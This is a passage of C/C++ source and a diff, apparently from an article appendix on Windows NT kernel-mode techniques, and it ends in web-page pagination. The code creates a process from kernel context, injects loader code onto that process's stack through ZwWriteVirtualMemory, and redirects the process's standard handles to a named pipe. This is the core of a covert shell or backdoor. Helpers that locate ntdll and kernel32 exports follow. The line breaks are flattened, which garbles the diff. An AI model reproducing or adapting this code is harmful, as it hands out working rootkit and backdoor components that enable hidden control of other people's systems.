File(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);
oa.ObjectName = 0;
NT::ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0, PAGE_EXECUTE, SEC_IMAGE, hFile);
NT::ZwClose(hFile);
ZwCreateProcess(&hProcess, PROCESS_ALL_ACCESS, &oa, NtCurrentProcess(), TRUE, hSection, 0, 0);
NT::SECTION_IMAGE_INFORMATION sii; NT::ZwQuerySection(hSection, NT::SectionImageInformation, &sii, sizeof sii, 0);
NT::ZwClose(hSection);
NT::USER_STACK stack = {0};
ULONG n = sii.StackReserve; NT::ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &n, MEM_RESERVE, PAGE_READWRITE);
stack.ExpandableStackBase = PCHAR(stack.ExpandableStackBottom) + sii.StackReserve; stack.ExpandableStackLimit = PCHAR(stack.ExpandableStackBase) - sii.StackCommit;
/* PAGE_EXECUTE_READWRITE is needed if initialisation code will be executed on stack*/ n = sii.StackCommit + PAGE_SIZE; PVOID p = PCHAR(stack.ExpandableStackBase) - n; NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
ULONG x; n = PAGE_SIZE; ZwProtectVirtualMemory(hProcess, &p, &n, PAGE_READWRITE | PAGE_GUARD, &x);
NT::CONTEXT context = {CONTEXT_FULL}; context.SegGs = 0; context.SegFs = 0x38; context.SegEs = 0x20; context.SegDs = 0x20; context.SegSs = 0x20; context.SegCs = 0x18; context.EFlags = 0x3000; context.Esp = ULONG(stack.ExpandableStackBase) - 4; context.Eip = ULONG(sii.EntryPoint);
NT::CLIENT_ID cid;
ZwCreateThread(&hThread, THREAD_ALL_ACCESS, &oa, hProcess, &cid, &context, &stack, TRUE);
NT::PROCESS_BASIC_INFORMATION pbi; NT::ZwQueryInformationProcess(hProcess, NT::ProcessBasicInformation, &pbi, sizeof pbi, 0);
HANDLE hPipe,hPipe1; oa.ObjectName = PipeName; oa.Attributes = OBJ_INHERIT; if(NT::ZwOpenFile(&hPipe1, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE)) return 0; NT::ZwDuplicateObject(NtCurrentProcess(), hPipe1, hProcess, &hPipe, 0, 0, DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE);
CreateProcessParameters(hProcess, pbi.PebBaseAddress, name, hPipe);
InformCsrss(hProcess, hThread, ULONG(cid.UniqueProcess), ULONG(cid.UniqueThread));
ZwResumeThread(hThread, 0);
NT::ZwClose(hProcess); NT::ZwClose(hThread);
return int(cid.UniqueProcess); }
int execute_piped(VOID *ImageFileName, NT::PUNICODE_STRING PipeName) { NT::UNICODE_STRING ImageFile; NT::RtlInitUnicodeString(&ImageFile, (wchar_t *)ImageFileName); return exec_piped(&ImageFile, PipeName); }
----[ 8.5 - NebbetCreateProcess.diff
268a269,384 > typedef > WINBASEAPI > BOOL > (WINAPI > *f_SetStdHandle)( > IN DWORD nStdHandle, > IN HANDLE hHandle > ); > typedef > WINBASEAPI > HANDLE > (WINAPI > *f_CreateFileW)( > IN LPCWSTR lpFileName, > IN DWORD dwDesiredAccess, > IN DWORD dwShareMode, > IN LPSECURITY_ATTRIBUTES lpSecurityAttributes, > IN DWORD dwCreationDisposition, > IN DWORD dwFlagsAndAttributes, > IN HANDLE hTemplateFile > ); > #ifdef _DEBUG > typedef > WINBASEAPI > DWORD > (WINAPI > *f_GetLastError)( > VOID > ); > #endif > typedef VOID (*f_EntryPoint)(VOID); > > struct s_data2embed > { > wchar_t PipeName[PIPE_NAME_MAX]; > //wchar_t RPipeName[PIPE_NAME_MAX], WPipeName[PIPE_NAME_MAX]; > f_SetStdHandle pSetStdHandle; > f_CreateFileW pCreateFileW; > f_EntryPoint EntryPoint; > #ifdef _DEBUG > f_GetLastError pGetLastError; > #endif > }; > > //void before_code2embed(){}; > void code2embed(s_data2embed *embedded_data) > { > HANDLE hPipe; > > __asm int 3; > hPipe = embedded_data->pCreateFileW(embedded_data->PipeName, > GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, > 0/*FILE_SHARE_READ | FILE_SHARE_WRITE*/, > NULL, > OPEN_EXISTING, > 0/*FILE_ATTRIBUTE_NORMAL*/, > NULL); > embedded_data->pGetLastError(); > /*//if (hRPipe==INVALID_HANDLE_VALUE) goto cont; > hWPipe = embedded_data->pCreateFileW(embedded_data->WPipeName, > GENERIC_WRITE | SYNCHRONIZE, > FILE_SHARE_READ /*| FILE_SHARE_WRITE*, > NULL, > OPEN_EXISTING, > 0, > NULL); > embedded_data->pGetLastError(); > if ((hRPipe!=INVALID_HANDLE_VALUE)&&(hWPipe!=INVALID_HANDLE_VALUE)) */ > if (hPipe!=INVALID_HANDLE_VALUE) > { > embedded_data->pSetStdHandle(STD_INPUT_HANDLE, hPipe); > embedded_data->pSetStdHandle(STD_OUTPUT_HANDLE, hPipe); > embedded_data->pSetStdHandle(STD_ERROR_HANDLE, hPipe); > } > embedded_data->EntryPoint(); > } > __declspec(naked) void after_code2embed(){}; > #define sizeof_code2embed ((ULONG)&after_code2embed-(ULONG)&code2embed) > > void redir2pipe(HANDLE hProcess, wchar_t *PipeName/*, wchar_t *WPipeName*/, PVOID EntryPoint, PVOID pStack, /*OUT PULONG pData,*/ OUT PULONG pCode, OUT PULONG pNewStack) > { > s_data2embed data2embed; > PVOID pKERNEL32; > NT::UNICODE_STRING ModuleFileName; > > _asm int 3; > > *pCode = 0; > *pNewStack = 0; > NT::RtlInitUnicodeString(&ModuleFileName, L"kernel32.dll"); > LdrGetDllHandle(NULL, NULL, &ModuleFileName, &pKERNEL32); > if (!pKERNEL32) return; > data2embed.pSetStdHandle=(f_SetStdHandle)FindFunc(pKERNEL32, "SetStdHandle"); > data2embed.pCreateFileW=(f_CreateFileW)FindFunc(pKERNEL32, "CreateFileW"); > #ifdef _DEBUG > data2embed.pGetLastError=(f_GetLastError)FindFunc(pKERNEL32, "GetLastError"); > #endif > if ((!data2embed.pSetStdHandle)||(!data2embed.pCreateFileW)) return; > data2embed.EntryPoint=(f_EntryPoint)EntryPoint; > wcscpy(data2embed.PipeName, PipeName); > //wcscpy(data2embed.WPipeName, WPipeName); > char* p = (char*)pStack - sizeof_code2embed; > if (ZwWriteVirtualMemory(hProcess, p, &code2embed, sizeof_code2embed, 0)) return; > *pCode = (ULONG)p; > > p -= sizeof s_data2embed; > if (ZwWriteVirtualMemory(hProcess, p, &data2embed, sizeof s_data2embed, 0)) return; > > PVOID pData = (PVOID)p; > p -= sizeof pData; > if (ZwWriteVirtualMemory(hProcess, p, &pData, sizeof pData, 0)) return; > > p -= 4; > *pNewStack = (ULONG)p; > } > 317a434,437 > ULONG newEIP, NewStack; > redir2pipe(hProcess, PipeName->Buffer, sii.EntryPoint, stack.ExpandableStackBase, &newEIP, &NewStack); > if ((!NewStack)||(!newEIP)) return 0; > 326,327c446,449 < context.Esp = ULONG(stack.ExpandableStackBase) - 4; < context.Eip = ULONG(sii.EntryPoint); --- > //loader code is on the stack > context.Esp = NewStack; > context.Eip = newEIP; ----[ 8.6 - NtdllDynamicLoader.cpp
#include <ntdll.h> //#include "UndocKernel.h" #include "DynLoadFromNtdll.h"
//Example A.2 from Nebbet's book
//Search loaded module by name PVOID FindModule(char *module) { ULONG n; //Request necessary size of buffer NT::ZwQuerySystemInformation(NT::SystemModuleInformation, &n, 0, &n); //Allocate memory for n structures PULONG q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q)); //Request information about modules NT::ZwQuerySystemInformation(NT::SystemModuleInformation, q, n * sizeof *q, 0);
//Module counter located at address q, information begins at q+1 NT::PSYSTEM_MODULE_INFORMATION p = NT::PSYSTEM_MODULE_INFORMATION(q + 1); PVOID ntdll = 0;
//Cycle for each module ... for (ULONG i = 0; i < *q; i++) { //...compare it's name with looked for... if (_stricmp(p[i].ImageName + p[i].ModuleNameOffset, module) == 0) { //...and stop if module found ntdll = p[i].Base; break; } } //Free memory NT::ExFreePool(q); return ntdll; }
PVOID FindNT() { return FindModule("ntdll.dll"); }
//Search exported function named Name in module, loaded at addrress Base PVOID FindFunc(PVOID Base, PCSTR Name) { //At addrress Base there is DOS EXE header PIMAGE_DOS_HEADER dos = PIMAGE_DOS_HEADER(Base); //Extract offset of PE-header from it PIMAGE_NT_HEADERS nt = PIMAGE_NT_HEADERS(PCHAR(Base) + dos->e_lfanew); //Evaluate pointer to section table, //according to directory of exported functions PIMAGE_DATA_DIRECTORY expdir = nt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT; //Extract address and size of that table ULONG size = expdir->Size; ULONG addr = expdir->VirtualAddress;
//Evaluate pointers: // - to directory of exported functions PIMAGE_EXPORT_DIRECTORY exports = PIMAGE_EXPORT_DIRECTORY(PCHAR(Base) + addr); // - to table of addresses PULONG functions = PULONG(PCHAR(Base) + exports->AddressOfFunctions); // - to table of ordinals PSHORT ordinals = PSHORT(PCHAR(Base) + exports->AddressOfNameOrdinals); // - to table of names PULONG names = PULONG(PCHAR(Base) + 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] ... 下一页 >> |